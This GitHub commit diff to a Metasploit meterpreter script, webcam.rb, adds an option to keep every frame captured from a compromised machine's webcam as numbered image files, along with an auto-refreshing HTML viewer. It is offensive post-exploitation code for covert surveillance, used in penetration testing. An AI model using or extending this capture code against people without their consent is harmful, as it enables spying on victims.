Skip to content

Commit 1102fff

Browse files
committed
Add option to store all captured images
Added "-a" option that will store all images captured so they can be looked at later/converted to a video.
1 parent 1183c5c commit 1102fff

File tree

1 file changed

+19
-6
lines changed

1 file changed

+19
-6
lines changed

scripts/meterpreter/webcam.rb

Lines changed: 19 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,15 +13,17 @@
1313
"-q" => [ true, "The JPEG image quality (Default: 50)" ],
1414
"-g" => [ false, "Send to GUI instead of writing to file" ],
1515
"-s" => [ true, "Stop recording" ],
16-
"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"]
16+
"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],
17+
"-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]
1718
)
18-
19+
iterator = 0
1920
folderpath = "."
2021
single = false
2122
quality = 50
2223
index = 1
2324
interval = 1000
2425
gui = false
26+
saveAll = false
2527
opts.parse(args) { |opt, idx, val|
2628
case opt
2729
when "-h"
@@ -46,6 +48,8 @@
4648
print_line("[*] Stopping webcam")
4749
client.webcam.webcam_stop
4850
raise Rex::Script::Completed
51+
when "-a"
52+
saveAll = true
4953
end
5054
}
5155

@@ -72,7 +76,8 @@
7276
'PeerPort' => 16235
7377
)
7478
end
75-
imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg"
79+
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
80+
print_line( "[*] imagepath is #{imagepath}" )
7681
htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"
7782
begin
7883
if single == true
@@ -90,8 +95,8 @@
9095
else
9196
if(!gui)
9297
::File.open(htmlpath, 'wb' ) do |fd|
93-
fd.write('<html><body><img src="webcam.jpg"></img><script>'+
94-
"setInterval('location.reload()',#{interval});</script></body><html>" )
98+
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
99+
fd.write(htmlOut)
95100
end
96101
print_line( "[*] View live stream at: #{htmlpath}" )
97102
Rex::Compat.open_file(htmlpath)
@@ -104,7 +109,15 @@
104109
else
105110
::File.open( imagepath, 'wb' ) do |fd|
106111
fd.write( data )
107-
end
112+
::File.open(htmlpath, 'wb' ) do |fd|
113+
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
114+
fd.write(htmlOut)
115+
if(saveAll)
116+
iterator = iterator + 1
117+
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
118+
end
119+
end
120+
end
108121
end
109122
select(nil, nil, nil, interval/1000.0)
110123
end

0 commit comments

Comments
 (0)